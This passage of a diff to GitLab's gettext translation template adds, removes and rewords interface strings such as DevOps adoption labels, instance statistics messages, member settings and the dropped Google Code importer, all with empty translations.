msgid "DeleteProject|Failed to remove project repository. Please try again or contact administrator."
msgstr ""
@@ -9096,6 +9340,9 @@ msgstr ""
msgid "Deployment|running"
msgstr ""
+msgid "Deployment|skipped"
+msgstr ""
+
msgid "Deployment|success"
msgstr ""
@@ -9114,6 +9361,9 @@ msgstr ""
msgid "Description"
msgstr ""
+msgid "Description (optional)"
+msgstr ""
+
msgid "Description parsed with %{link_start}GitLab Flavored Markdown%{link_end}"
msgstr ""
@@ -9150,6 +9400,9 @@ msgstr ""
msgid "DesignManagement|Adding a design with the same filename replaces the file in a new version."
msgstr ""
+msgid "DesignManagement|Archive design"
+msgstr ""
+
msgid "DesignManagement|Archive designs"
msgstr ""
@@ -9207,6 +9460,9 @@ msgstr ""
msgid "DesignManagement|Discard comment"
msgstr ""
+msgid "DesignManagement|Download design"
+msgstr ""
+
msgid "DesignManagement|Error uploading a new design. Please try again."
msgstr ""
@@ -9285,15 +9541,9 @@ msgstr ""
msgid "Detect host keys"
msgstr ""
-msgid "DevOps"
-msgstr ""
-
msgid "DevOps Report"
msgstr ""
-msgid "DevOps Score"
-msgstr ""
-
msgid "DevopsAdoptionSegmentSelection|The maximum number of selections has been reached"
msgstr ""
@@ -9303,15 +9553,84 @@ msgstr ""
msgid "DevopsAdoptionSegment|The maximum number of segments has been reached"
msgstr ""
+msgid "DevopsAdoptionSegment|The maximum number of selections has been reached"
+msgstr ""
+
+msgid "DevopsAdoption|%{selectedCount} group selected (20 max)"
+msgstr ""
+
+msgid "DevopsAdoption|%{selectedCount} groups selected (20 max)"
+msgstr ""
+
msgid "DevopsAdoption|Add a segment to get started"
msgstr ""
msgid "DevopsAdoption|Add new segment"
msgstr ""
+msgid "DevopsAdoption|An error occured while saving the segment. Please try again."
+msgstr ""
+
+msgid "DevopsAdoption|Approvals"
+msgstr ""
+
+msgid "DevopsAdoption|Create new segment"
+msgstr ""
+
+msgid "DevopsAdoption|Deploys"
+msgstr ""
+
msgid "DevopsAdoption|DevOps adoption uses segments to track adoption across key features. Segments are a way to track multiple related projects and groups at once. For example, you could create a segment for the engineering department or a particular product team."
msgstr ""
+msgid "DevopsAdoption|Feature adoption is based on usage over the last 30 days. Last updated: %{timestamp}."
+msgstr ""
+
+msgid "DevopsAdoption|Issues"
+msgstr ""
+
+msgid "DevopsAdoption|MRs"
+msgstr ""
+
+msgid "DevopsAdoption|My segment"
+msgstr ""
+
+msgid "DevopsAdoption|Name"
+msgstr ""
+
+msgid "DevopsAdoption|New segment"
+msgstr ""
+
+msgid "DevopsAdoption|Pipelines"
+msgstr ""
+
+msgid "DevopsAdoption|Runners"
+msgstr ""
+
+msgid "DevopsAdoption|Scanning"
+msgstr ""
+
+msgid "DevopsAdoption|Segment"
+msgstr ""
+
+msgid "DevopsAdoption|There was an error fetching Groups. Please refresh the page to try again."
+msgstr ""
+
+msgid "DevopsAdoption|There was an error fetching Segments. Please refresh the page to try again."
+msgstr ""
+
+msgid "DevopsReport|Adoption"
+msgstr ""
+
+msgid "DevopsReport|DevOps"
+msgstr ""
+
+msgid "DevopsReport|DevOps Score"
+msgstr ""
+
+msgid "DevopsReport|Score"
+msgstr ""
+
msgid "Diff content limits"
msgstr ""
@@ -9500,9 +9819,6 @@ msgstr ""
msgid "Do not display offers from third parties within GitLab"
msgstr ""
-msgid "Do you want to customize how Google Code email addresses and usernames are imported into GitLab?"
-msgstr ""
-
msgid "Dockerfile"
msgstr ""
@@ -9575,9 +9891,6 @@ msgstr ""
msgid "Download as"
msgstr ""
-msgid "Download as CSV"
-msgstr ""
-
msgid "Download codes"
msgstr ""
@@ -9626,9 +9939,15 @@ msgstr ""
msgid "Drop or %{linkStart}upload%{linkEnd} designs to attach"
msgstr ""
+msgid "Drop or %{linkStart}upload%{linkEnd} files to attach"
+msgstr ""
+
msgid "Drop your designs to start your upload."
msgstr ""
+msgid "Drop your files to start your upload."
+msgstr ""
+
msgid "Due Date"
msgstr ""
@@ -9734,6 +10053,9 @@ msgstr ""
msgid "Edit in single-file editor"
msgstr ""
+msgid "Edit inline"
+msgstr ""
+
msgid "Edit issues"
msgstr ""
@@ -9809,6 +10131,9 @@ msgstr ""
msgid "Email Notification"
msgstr ""
+msgid "Email cannot be blank"
+msgstr ""
+
msgid "Email could not be sent"
msgstr ""
@@ -9839,6 +10164,9 @@ msgstr ""
msgid "Email updates (optional)"
msgstr ""
+msgid "Email: %{email}"
+msgstr ""
+
msgid "EmailError|It appears that the email is blank. Make sure your reply is at the top of the email, we can't process inline replies."
msgstr ""
@@ -9911,7 +10239,7 @@ msgstr ""
msgid "Enable"
msgstr ""
-msgid "Enable %{link_start}Gitpod%{link_end} integration to launch a development environment in your browser directly from GitLab."
+msgid "Enable %{linkStart}Gitpod%{linkEnd} integration to launch a development environment in your browser directly from GitLab."
msgstr ""
msgid "Enable Auto DevOps"
@@ -9929,6 +10257,9 @@ msgstr ""
msgid "Enable Incident Management inbound alert limit"
msgstr ""
+msgid "Enable Kroki"
+msgstr ""
+
msgid "Enable PlantUML"
msgstr ""
@@ -10280,6 +10611,9 @@ msgstr ""
msgid "Environments|Delete"
msgstr ""
+msgid "Environments|Delete '%{environmentName}'?"
+msgstr ""
+
msgid "Environments|Delete environment"
msgstr ""
@@ -10391,6 +10725,9 @@ msgstr ""
msgid "Environments|Stopping"
msgstr ""
+msgid "Environments|Stopping %{environmentName}"
+msgstr ""
+
msgid "Environments|There was an error fetching the logs. Please try again."
msgstr ""
@@ -10628,9 +10965,6 @@ msgstr ""
msgid "Error loading viewer"
msgstr ""
-msgid "Error message:"
-msgstr ""
-
msgid "Error occurred when fetching sidebar data"
msgstr ""
@@ -10667,6 +11001,9 @@ msgstr ""
msgid "Error occurred. User was not unlocked"
msgstr ""
+msgid "Error parsing CSV file. Please make sure it has"
+msgstr ""
+
msgid "Error rendering markdown preview"
msgstr ""
@@ -10745,6 +11082,9 @@ msgstr ""
msgid "Errors"
msgstr ""
+msgid "Errors found on line %{line_number}: %{error_lines}. Please check if these lines have a requirement title."
+msgstr ""
+
msgid "Errors:"
msgstr ""
@@ -10979,6 +11319,9 @@ msgstr ""
msgid "Export as CSV"
msgstr ""
+msgid "Export commit custody report"
+msgstr ""
+
msgid "Export group"
msgstr ""
@@ -11087,6 +11430,9 @@ msgstr ""
msgid "Failed to create a branch for this issue. Please try again."
msgstr ""
+msgid "Failed to create framework"
+msgstr ""
+
msgid "Failed to create import label for jira import."
msgstr ""
@@ -11222,6 +11568,9 @@ msgstr ""
msgid "Failed to reset key. Please try again."
msgstr ""
+msgid "Failed to retrieve page"
+msgstr ""
+
msgid "Failed to save merge conflicts resolutions. Please try again!"
msgstr ""
@@ -11261,6 +11610,9 @@ msgstr ""
msgid "Failed to update tag!"
msgstr ""
+msgid "Failed to update the Canary Ingress."
+msgstr ""
+
msgid "Failed to update."
msgstr ""
@@ -11300,12 +11652,18 @@ msgstr ""
msgid "Feature Flags"
msgstr ""
+msgid "Feature flag is not enabled on the environment's project."
+msgstr ""
+
msgid "Feature flag was not removed."
msgstr ""
msgid "Feature flag was successfully removed."
msgstr ""
+msgid "Feature not available"
+msgstr ""
+
msgid "FeatureFlags|%d user"
msgid_plural "FeatureFlags|%d users"
msgstr[0] ""
@@ -11473,6 +11831,9 @@ msgstr ""
msgid "FeatureFlags|New user list"
msgstr ""
+msgid "FeatureFlags|No user list selected"
+msgstr ""
+
msgid "FeatureFlags|Percent of users"
msgstr ""
@@ -11497,9 +11858,6 @@ msgstr ""
msgid "FeatureFlags|Rollout Strategy"
msgstr ""
-msgid "FeatureFlags|Select a user list"
-msgstr ""
-
msgid "FeatureFlags|Set the Unleash client application name to the name of the environment your application runs in. This value is used to match environment scopes. See the %{linkStart}example client configuration%{linkEnd}."
msgstr ""
@@ -11560,6 +11918,9 @@ msgstr ""
msgid "February"
msgstr ""
+msgid "Fetch and check out the branch for this merge request"
+msgstr ""
+
msgid "Fetching incoming email"
msgstr ""
@@ -11602,7 +11963,7 @@ msgstr ""
msgid "File renamed with no changes."
msgstr ""
-msgid "File sync capacity"
+msgid "File synchronization concurrency limit"
msgstr ""
msgid "File templates"
@@ -11728,12 +12089,6 @@ msgstr ""
msgid "Find file"
msgstr ""
-msgid "Find the downloaded ZIP file and decompress it."
-msgstr ""
-
-msgid "Find the newly extracted %{code_open}Takeout/Google Code Project Hosting/GoogleCodeProjectHosting.json%{code_close} file."
-msgstr ""
-
msgid "Fingerprint"
msgstr ""
@@ -11758,9 +12113,6 @@ msgstr ""
msgid "First name"
msgstr ""
-msgid "First name is too long (maximum is %{max_length} characters)."
-msgstr ""
-
msgid "First seen"
msgstr ""
@@ -11806,9 +12158,6 @@ msgstr ""
msgid "Folder/%{name}"
msgstr ""
-msgid "Follow the steps below to export your Google Code project data."
-msgstr ""
-
msgid "Font Color"
msgstr ""
@@ -11893,6 +12242,9 @@ msgstr ""
msgid "Found errors in your .gitlab-ci.yml:"
msgstr ""
+msgid "Framework successfully deleted"
+msgstr ""
+
msgid "Free Trial"
msgstr ""
@@ -11920,9 +12272,6 @@ msgstr ""
msgid "From %{providerTitle}"
msgstr ""
-msgid "From Google Code"
-msgstr ""
-
msgid "From issue creation until deploy to production"
msgstr ""
@@ -12409,6 +12758,9 @@ msgstr ""
msgid "GitLab API"
msgstr ""
+msgid "GitLab Account Request"
+msgstr ""
+
msgid "GitLab Billing Team."
msgstr ""
@@ -12442,6 +12794,9 @@ msgstr ""
msgid "GitLab Workhorse"
msgstr ""
+msgid "GitLab account request rejected"
+msgstr ""
+
msgid "GitLab commit"
msgstr ""
@@ -12652,15 +13007,12 @@ msgstr ""
msgid "Go back (while searching for files)"
msgstr ""
-msgid "Go back to %{startTag}Open issues%{endTag} and select some issues to add to your board."
+msgid "Go back to %{tagStart}Open issues%{tagEnd} and select some issues to add to your board."
msgstr ""
msgid "Go full screen"
msgstr ""
-msgid "Go to %{link_to_google_takeout}."
-msgstr ""
-
msgid "Go to %{strongStart}Issues%{strongEnd} &gt; %{strongStart}Boards%{strongEnd} to access your personalized learning issue board."
msgstr ""
@@ -12775,12 +13127,6 @@ msgstr ""
msgid "Google Cloud Platform"
msgstr ""
-msgid "Google Code import"
-msgstr ""
-
-msgid "Google Takeout"
-msgstr ""
-
msgid "Google authentication is not %{link_start}properly configured%{link_end}. Ask your GitLab administrator if you want to use this service."
msgstr ""
@@ -13015,6 +13361,12 @@ msgstr ""
msgid "GroupRoadmap|No start date – %{dateWord}"
msgstr ""
+msgid "GroupRoadmap|Roadmaps can display up to 1,000 epics. These appear in your selected sort order."
+msgstr ""
+
+msgid "GroupRoadmap|Some of your epics might not be visible"
+msgstr ""
+
msgid "GroupRoadmap|Something went wrong while fetching epics"
msgstr ""
@@ -13408,12 +13760,6 @@ msgstr ""
msgid "GroupsTree|Are you sure you want to leave the \"%{fullName}\" group?"
msgstr ""
-msgid "GroupsTree|Create a project in this group."
-msgstr ""
-
-msgid "GroupsTree|Create a subgroup in this group."
-msgstr ""
-
msgid "GroupsTree|Edit group"
msgstr ""
@@ -13489,6 +13835,9 @@ msgstr ""
msgid "HealthCheck|Unhealthy"
msgstr ""
+msgid "Hello %{name},"
+msgstr ""
+
msgid "Hello there"
msgstr ""
@@ -13640,9 +13989,6 @@ msgstr ""
msgid "How many users will be evaluating the trial?"
msgstr ""
-msgid "How to upgrade"
-msgstr ""
-
msgid "However, you are already a member of this %{member_source}. Sign in using a different account to accept the invitation."
msgstr ""
@@ -13784,6 +14130,9 @@ msgstr ""
msgid "If using GitHub, you’ll see pipeline statuses on GitHub for your commits and pull requests. %{more_info_link}"
msgstr ""
+msgid "If you add %{codeStart}needs%{codeEnd} to jobs in your pipeline you'll be able to view the %{codeStart}needs%{codeEnd} relationships between jobs in this tab as a %{linkStart}Directed Acyclic Graph (DAG)%{linkEnd}."
+msgstr ""
+
msgid "If you did not recently sign in, you should immediately %{password_link_start}change your password%{password_link_end}."
msgstr ""
@@ -13860,12 +14209,6 @@ msgstr ""
msgid "Import Projects from Gitea"
msgstr ""
-msgid "Import all compatible projects"
-msgstr ""
-
-msgid "Import all projects"
-msgstr ""
-
msgid "Import an exported GitLab project"
msgstr ""
@@ -13917,9 +14260,6 @@ msgstr ""
msgid "Import projects from GitLab.com"
msgstr ""
-msgid "Import projects from Google Code"
-msgstr ""
-
msgid "Import repositories from Bitbucket Server"
msgstr ""
@@ -13950,6 +14290,9 @@ msgstr ""
msgid "ImportButtons|Connect repositories from"
msgstr ""
+msgid "ImportProjects|%{provider} rate limit exceeded. Try again later"
+msgstr ""
+
msgid "ImportProjects|Blocked import URL: %{message}"
msgstr ""
@@ -13983,6 +14326,9 @@ msgstr ""
msgid "ImportProjects|Update of imported projects with realtime changes failed"
msgstr ""
+msgid "Imported requirements"
+msgstr ""
+
msgid "Improve Issue Boards"
msgstr ""
@@ -14013,9 +14359,6 @@ msgstr ""
msgid "In progress"
msgstr ""
-msgid "In the next step, you'll be able to select the projects you want to import."
-msgstr ""
-
msgid "Incident"
msgstr ""
@@ -14193,9 +14536,6 @@ msgstr ""
msgid "Incoming!"
msgstr ""
-msgid "Incompatible Project"
-msgstr ""
-
msgid "Incompatible options set!"
msgstr ""
@@ -14280,9 +14620,6 @@ msgstr ""
msgid "Install Runner on Kubernetes"
msgstr ""
-msgid "Install a Runner"
-msgstr ""
-
msgid "Install a soft token authenticator like %{free_otp_link} or Google Authenticator from your application repository and use that app to scan this QR code. More information is available in the %{help_link_start}documentation%{help_link_end}."
msgstr ""
@@ -14306,73 +14643,79 @@ msgstr[1] ""
msgid "Instance Configuration"
msgstr ""
-msgid "Instance Statistics"
+msgid "Instance administrators group already exists"
msgstr ""
-msgid "Instance administrators group already exists"
+msgid "InstanceStatistics|Could not load the issues and merge requests chart. Please refresh the page to try again."
+msgstr ""
+
+msgid "InstanceStatistics|Could not load the pipelines chart. Please refresh the page to try again."
+msgstr ""
+
+msgid "InstanceStatistics|Could not load the projects and groups chart. Please refresh the page to try again."
msgstr ""
-msgid "InstanceAnalytics|Canceled"
+msgid "InstanceStatistics|Groups"
msgstr ""
-msgid "InstanceAnalytics|Could not load the issues and merge requests chart. Please refresh the page to try again."
+msgid "InstanceStatistics|Issues"
msgstr ""
-msgid "InstanceAnalytics|Could not load the pipelines chart. Please refresh the page to try again."
+msgid "InstanceStatistics|Issues & Merge Requests"
msgstr ""
-msgid "InstanceAnalytics|Failed"
+msgid "InstanceStatistics|Items"
msgstr ""
-msgid "InstanceAnalytics|Issues"
+msgid "InstanceStatistics|Merge Requests"
msgstr ""
-msgid "InstanceAnalytics|Issues & Merge Requests"
+msgid "InstanceStatistics|Month"
msgstr ""
-msgid "InstanceAnalytics|Items"
+msgid "InstanceStatistics|No data available."
msgstr ""
-msgid "InstanceAnalytics|Merge Requests"
+msgid "InstanceStatistics|Pipelines"
msgstr ""
-msgid "InstanceAnalytics|Month"
+msgid "InstanceStatistics|Pipelines canceled"
msgstr ""
-msgid "InstanceAnalytics|Pipelines"
+msgid "InstanceStatistics|Pipelines failed"
msgstr ""
-msgid "InstanceAnalytics|Skipped"
+msgid "InstanceStatistics|Pipelines skipped"
msgstr ""
-msgid "InstanceAnalytics|Succeeded"
+msgid "InstanceStatistics|Pipelines succeeded"
msgstr ""
-msgid "InstanceAnalytics|There is no data available."
+msgid "InstanceStatistics|Pipelines total"
msgstr ""
-msgid "InstanceAnalytics|Total"
+msgid "InstanceStatistics|Projects"
msgstr ""
-msgid "InstanceStatistics|Could not load the projects and groups chart. Please refresh the page to try again."
+msgid "InstanceStatistics|There was an error fetching the cancelled pipelines"
msgstr ""
-msgid "InstanceStatistics|Groups"
+msgid "InstanceStatistics|There was an error fetching the failed pipelines"
msgstr ""
-msgid "InstanceStatistics|Issues"
+msgid "InstanceStatistics|There was an error fetching the issues"
msgstr ""
-msgid "InstanceStatistics|Merge Requests"
+msgid "InstanceStatistics|There was an error fetching the merge requests"
msgstr ""
-msgid "InstanceStatistics|No data available."
+msgid "InstanceStatistics|There was an error fetching the skipped pipelines"
msgstr ""
-msgid "InstanceStatistics|Pipelines"
+msgid "InstanceStatistics|There was an error fetching the successful pipelines"
msgstr ""
-msgid "InstanceStatistics|Projects"
+msgid "InstanceStatistics|There was an error fetching the total pipelines"
msgstr ""
msgid "InstanceStatistics|There was an error while loading the groups"
@@ -14411,6 +14754,9 @@ msgstr ""
msgid "Integrations|All details"
msgstr ""
+msgid "Integrations|All projects inheriting these settings will also be reset."
+msgstr ""
+
msgid "Integrations|Comment detail:"
msgstr ""
@@ -14444,7 +14790,16 @@ msgstr ""
msgid "Integrations|Issues created in Jira are shown here once you have created the issues in project setup in Jira."
msgstr ""
-msgid "Integrations|Projects using custom settings will not be impacted unless the project owner chooses to use instance-level defaults."
+msgid "Integrations|Projects using custom settings will not be affected."
+msgstr ""
+
+msgid "Integrations|Projects using custom settings will not be impacted unless the project owner chooses to use parent level defaults."
+msgstr ""
+
+msgid "Integrations|Reset integration?"
+msgstr ""
+
+msgid "Integrations|Resetting this integration will clear the settings and deactivate this integration."
msgstr ""
msgid "Integrations|Return to GitLab for Jira"
@@ -14462,6 +14817,9 @@ msgstr ""
msgid "Integrations|Standard"
msgstr ""
+msgid "Integrations|This integration, and inheriting projects were reset."
+msgstr ""
+
msgid "Integrations|To keep this project going, create a new issue."
msgstr ""
@@ -14483,6 +14841,9 @@ msgstr ""
msgid "Integrations|You can now close this window and return to the GitLab for Jira application."
msgstr ""
+msgid "Interactive mode"
+msgstr ""
+
msgid "Interested parties can even contribute by pushing commits if they want to."
msgstr ""
@@ -14558,6 +14919,9 @@ msgstr ""
msgid "Invalid file."
msgstr ""
+msgid "Invalid hash"
+msgstr ""
+
msgid "Invalid import params"
msgstr ""
@@ -14600,6 +14964,9 @@ msgstr ""
msgid "Invalid yaml"
msgstr ""
+msgid "Investigate vulnerability: %{title}"
+msgstr ""
+
msgid "Invitation"
msgstr ""
@@ -14624,6 +14991,9 @@ msgstr ""
msgid "Invite member"
msgstr ""
+msgid "Invite team members"
+msgstr ""
+
msgid "Invite teammates (optional)"
msgstr ""
@@ -14669,6 +15039,9 @@ msgstr ""
msgid "InviteMembersModal|Choose a role permission"
msgstr ""
+msgid "InviteMembersModal|Close invite team members"
+msgstr ""
+
msgid "InviteMembersModal|GitLab member or Email address"
msgstr ""
@@ -14678,16 +15051,16 @@ msgstr ""
msgid "InviteMembersModal|Invite team members"
msgstr ""
-msgid "InviteMembersModal|Search for members to invite"
+msgid "InviteMembersModal|Members were successfully added"
msgstr ""
-msgid "InviteMembersModal|User not invited. Feature coming soon!"
+msgid "InviteMembersModal|Search for members to invite"
msgstr ""
-msgid "InviteMembersModal|Users were succesfully added"
+msgid "InviteMembersModal|Some of the members could not be added"
msgstr ""
-msgid "InviteMembersModal|You're inviting members to the %{group_name} group"
+msgid "InviteMembersModal|You're inviting members to the %{name} %{type}"
msgstr ""
msgid "InviteMembers|Invite team members"
@@ -14795,9 +15168,6 @@ msgstr ""
msgid "Issue Boards"
msgstr ""
-msgid "Issue actions"
-msgstr ""
-
msgid "Issue already promoted to epic."
msgstr ""
@@ -14861,6 +15231,9 @@ msgstr ""
msgid "IssueAnalytics|Weight"
msgstr ""
+msgid "IssueBoards|An error occurred while setting notifications status."
+msgstr ""
+
msgid "IssueBoards|Board"
msgstr ""
@@ -14996,10 +15369,10 @@ msgstr ""
msgid "Iteration|cannot be more than 500 years in the future"
msgstr ""
-msgid "I’m familiar with the basics of project management and DevOps."
+msgid "I’m familiar with the basics of DevOps."
msgstr ""
-msgid "I’m not very familiar with the basics of project management and DevOps."
+msgid "I’m not familiar with the basics of DevOps."
msgstr ""
msgid "Jaeger URL"
@@ -15176,6 +15549,27 @@ msgstr ""
msgid "Jobs"
msgstr ""
+msgid "Jobs|Are you sure you want to proceed?"
+msgstr ""
+
+msgid "Jobs|Are you sure you want to retry this job?"
+msgstr ""
+
+msgid "Jobs|Create CI/CD configuration file"
+msgstr ""
+
+msgid "Jobs|Jobs are the building blocks of a GitLab CI/CD pipeline. Each job has a specific task, like testing code. To set up jobs in a CI/CD pipeline, add a CI/CD configuration file to your project."
+msgstr ""
+
+msgid "Jobs|No jobs to show"
+msgstr ""
+
+msgid "Jobs|Use jobs to automate your tasks"
+msgstr ""
+
+msgid "Jobs|You're about to retry a job that failed because it attempted to deploy code that is older than the latest deployment. Retrying this job could result in overwriting the environment with the older source code."
+msgstr ""
+
msgid "Job|Browse"
msgstr ""
@@ -15305,6 +15699,9 @@ msgstr ""
msgid "Ki"
msgstr ""
+msgid "Kroki"
+msgstr ""
+
msgid "Kubernetes"
msgstr ""
@@ -15487,9 +15884,6 @@ msgstr ""
msgid "Last name"
msgstr ""
-msgid "Last name is too long (maximum is %{max_length} characters)."
-msgstr ""
-
msgid "Last reply by"
msgstr ""
@@ -15583,6 +15977,9 @@ msgstr ""
msgid "Learn more about License-Check"
msgstr ""
+msgid "Learn more about Needs relationships"
+msgstr ""
+
msgid "Learn more about Vulnerability-Check"
msgstr ""
@@ -15610,9 +16007,6 @@ msgstr ""
msgid "Learn more about group-level project templates"
msgstr ""
-msgid "Learn more about job dependencies"
-msgstr ""
-
msgid "Learn more about signing commits"
msgstr ""
@@ -15643,9 +16037,6 @@ msgstr ""
msgid "Leave project"
msgstr ""
-msgid "Leave the \"File type\" and \"Delivery method\" options on their default values."
-msgstr ""
-
msgid "Leave zen mode"
msgstr ""
@@ -15709,9 +16100,6 @@ msgstr ""
msgid "LicenseCompliance|Learn more about %{linkStart}License Approvals%{linkEnd}"
msgstr ""
-msgid "LicenseCompliance|License"
-msgstr ""
-
msgid "LicenseCompliance|License Approvals"
msgstr ""
@@ -15751,18 +16139,9 @@ msgstr ""
msgid "LicenseCompliance|License Compliance detected no new licenses"
msgstr ""
-msgid "LicenseCompliance|License details"
-msgstr ""
-
msgid "LicenseCompliance|License name"
msgstr ""
-msgid "LicenseCompliance|License review"
-msgstr ""
-
-msgid "LicenseCompliance|Packages"
-msgstr ""
-
msgid "LicenseCompliance|Remove license"
msgstr ""
@@ -15778,9 +16157,6 @@ msgstr ""
msgid "LicenseCompliance|This license already exists in this project."
msgstr ""
-msgid "LicenseCompliance|URL"
-msgstr ""
-
msgid "LicenseCompliance|You are about to remove the license, %{name}, from this project."
msgstr ""
@@ -15886,6 +16262,9 @@ msgstr ""
msgid "Limit namespaces and projects that can be indexed"
msgstr ""
+msgid "Limit the number of concurrent operations this secondary node can run in the background."
+msgstr ""
+
msgid "Limited to showing %d event at most"
msgid_plural "Limited to showing %d events at most"
msgstr[0] ""
@@ -15906,6 +16285,9 @@ msgstr ""
msgid "Link title is required"
msgstr ""
+msgid "Link to an image"
+msgstr ""
+
msgid "Link to go to GitLab pipeline documentation"
msgstr ""
@@ -16110,9 +16492,6 @@ msgstr ""
msgid "Make sure you save it - you won't be able to access it again."
msgstr ""
-msgid "Make sure you're logged into the account that owns the projects you'd like to import."
-msgstr ""
-
msgid "Make this epic confidential"
msgstr ""
@@ -16173,16 +16552,10 @@ msgstr ""
msgid "ManualOrdering|Couldn't save the order of the issues"
msgstr ""
-msgid "Map a FogBugz account ID to a GitLab user"
-msgstr ""
-
-msgid "Map a Google Code user to a GitLab user"
+msgid "Manually link this issue by adding it to the linked issue section of the %{originating_vulnerability}."
msgstr ""
-msgid "Map a Google Code user to a full email address"
-msgstr ""
-
-msgid "Map a Google Code user to a full name"
+msgid "Map a FogBugz account ID to a GitLab user"
msgstr ""
msgid "Mar"
@@ -16245,7 +16618,7 @@ msgstr ""
msgid "Marked For Deletion At - %{deletion_time}"
msgstr ""
-msgid "Marked this %{noun} as Work In Progress."
+msgid "Marked this %{noun} as a draft."
msgstr ""
msgid "Marked this issue as a duplicate of %{duplicate_param}."
@@ -16257,7 +16630,7 @@ msgstr ""
msgid "Marked to do as done."
msgstr ""
-msgid "Marks this %{noun} as Work In Progress."
+msgid "Marks this %{noun} as a draft."
msgstr ""
msgid "Marks this issue as a duplicate of %{duplicate_reference}."
@@ -16305,6 +16678,9 @@ msgstr ""
msgid "MattermostService|This service allows users to perform common operations on this project by entering slash commands in Mattermost."
msgstr ""
+msgid "Max 100,000 events"
+msgstr ""
+
msgid "Max Group Export Download requests per minute per user"
msgstr ""
@@ -16329,9 +16705,6 @@ msgstr ""
msgid "Max role"
msgstr ""
-msgid "Max size 15 MB"
-msgstr ""
-
msgid "MaxBuilds"
msgstr ""
@@ -16488,7 +16861,10 @@ msgstr ""
msgid "Members|%{time} by %{user}"
msgstr ""
-msgid "Members|%{userName} is currently a LDAP user. Editing their permissions will override the settings from the LDAP group sync."
+msgid "Members|%{userName} is currently an LDAP user. Editing their permissions will override the settings from the LDAP group sync."
+msgstr ""
+
+msgid "Members|2FA"
msgstr ""
msgid "Members|An error occurred while trying to enable LDAP override, please try again."
@@ -16524,9 +16900,18 @@ msgstr ""
msgid "Members|Are you sure you want to withdraw your access request for \"%{source}\""
msgstr ""
+msgid "Members|Direct"
+msgstr ""
+
+msgid "Members|Disabled"
+msgstr ""
+
msgid "Members|Edit permissions"
msgstr ""
+msgid "Members|Enabled"
+msgstr ""
+
msgid "Members|Expiration date removed successfully."
msgstr ""
@@ -16536,12 +16921,21 @@ msgstr ""
msgid "Members|Expired"
msgstr ""
+msgid "Members|Filter members"
+msgstr ""
+
+msgid "Members|Inherited"
+msgstr ""
+
msgid "Members|LDAP override enabled."
msgstr ""
msgid "Members|Leave \"%{source}\""
msgstr ""
+msgid "Members|Membership"
+msgstr ""
+
msgid "Members|No expiration set"
msgstr ""
@@ -16560,6 +16954,9 @@ msgstr ""
msgid "Members|Role updated successfully."
msgstr ""
+msgid "Members|Search invited"
+msgstr ""
+
msgid "Members|in %{time}"
msgstr ""
@@ -16611,6 +17008,9 @@ msgstr ""
msgid "Merge automatically (%{strategy})"
msgstr ""
+msgid "Merge commit SHA"
+msgstr ""
+
msgid "Merge commit message"
msgstr ""
@@ -16662,6 +17062,9 @@ msgstr ""
msgid "Merge requests are read-only in a secondary Geo node"
msgstr ""
+msgid "Merge the branch and fix any conflicts that come up"
+msgstr ""
+
msgid "Merge when pipeline succeeds"
msgstr ""
@@ -17218,6 +17621,9 @@ msgstr ""
msgid "MilestoneCombobox|An error occurred while searching for milestones"
msgstr ""
+msgid "MilestoneCombobox|Group milestones"
+msgstr ""
+
msgid "MilestoneCombobox|Milestone"
msgstr ""
@@ -17323,6 +17729,9 @@ msgstr ""
msgid "Milestones|Milestone %{milestoneTitle} was not found"
msgstr ""
+msgid "Milestones|No milestones found"
+msgstr ""
+
msgid "Milestones|Ongoing Issues (open and assigned)"
msgstr ""
@@ -17356,12 +17765,6 @@ msgstr ""
msgid "Minimum interval in days"
msgstr ""
-msgid "Minimum length is %{minimum_password_length} characters"
-msgstr ""
-
-msgid "Minimum length is %{minimum_password_length} characters."
-msgstr ""
-
msgid "Minimum password length (number of characters)"
msgstr ""
@@ -17419,7 +17822,7 @@ msgstr ""
msgid "MissingSSHKeyWarningLink|Don't show again"
msgstr ""
-msgid "MissingSSHKeyWarningLink|You won't be able to pull or push project code via SSH until you add an SSH key to your profile"
+msgid "MissingSSHKeyWarningLink|You won't be able to pull or push repositories via SSH until you add an SSH key to your profile"
msgstr ""
msgid "ModalButton|Add projects"
@@ -17515,6 +17918,9 @@ msgstr ""
msgid "Move selection up"
msgstr ""
+msgid "Move test case"
+msgstr ""
+
msgid "Move this issue to another project."
msgstr ""
@@ -17642,6 +18048,9 @@ msgid_plural "NamespaceStorageSize|You have reached the free storage limit of %{
msgstr[0] ""
msgstr[1] ""
+msgid "NamespaceStorageSize|push to your repository, create pipelines, create issues or add comments. To learn more about reducing storage capacity please visit our docs."
+msgstr ""
+
msgid "NamespaceStorageSize|push to your repository, create pipelines, create issues or add comments. To reduce storage capacity, delete unused repositories, artifacts, wikis, issues, and pipelines."
msgstr ""
@@ -17675,6 +18084,9 @@ msgstr ""
msgid "Need help?"
msgstr ""
+msgid "Needs"
+msgstr ""
+
msgid "Needs attention"
msgstr ""
@@ -17900,7 +18312,7 @@ msgstr ""
msgid "New"
msgstr ""
-msgid "New %{display_issuable_type}"
+msgid "New %{issueType}"
msgstr ""
msgid "New Application"
@@ -18052,6 +18464,9 @@ msgstr ""
msgid "New response for issue #%{issue_iid}:"
msgstr ""
+msgid "New runner. Has not connected yet"
+msgstr ""
+
msgid "New runners registration token has been generated!"
msgstr ""
@@ -18157,9 +18572,6 @@ msgstr ""
msgid "No containers available"
msgstr ""
-msgid "No content to show"
-msgstr ""
-
msgid "No contributions"
msgstr ""
@@ -18343,9 +18755,6 @@ msgstr ""
msgid "No worries, you can still use all the %{strong}%{plan_name}%{strong_close} features for now. You have %{remaining_days} to renew your subscription."
msgstr ""
-msgid "No, directly import the existing email addresses and usernames."
-msgstr ""
-
msgid "No. of commits"
msgstr ""
@@ -18382,6 +18791,9 @@ msgstr ""
msgid "Not all data has been processed yet, the accuracy of the chart for the selected timeframe is limited."
msgstr ""
+msgid "Not applicable to personal namespaced projects, which are deleted immediately on request."
+msgstr ""
+
msgid "Not available"
msgstr ""
@@ -18400,6 +18812,9 @@ msgstr ""
msgid "Not found."
msgstr ""
+msgid "Not permitted to destroy framework"
+msgstr ""
+
msgid "Not ready yet. Try again later."
msgstr ""
@@ -18412,6 +18827,9 @@ msgstr ""
msgid "Note parameters are invalid: %{errors}"
msgstr ""
+msgid "Note that pushing to GitLab requires write access to this repository."
+msgstr ""
+
msgid "Note that this invitation was sent to %{mail_to_invite_email}, but you are signed in as %{link_to_current_user} with email %{mail_to_current_user}."
msgstr ""
@@ -18451,6 +18869,9 @@ msgstr ""
msgid "Notes|This comment has changed since you started editing, please review the %{open_link}updated comment%{close_link} to ensure information is not lost"
msgstr ""
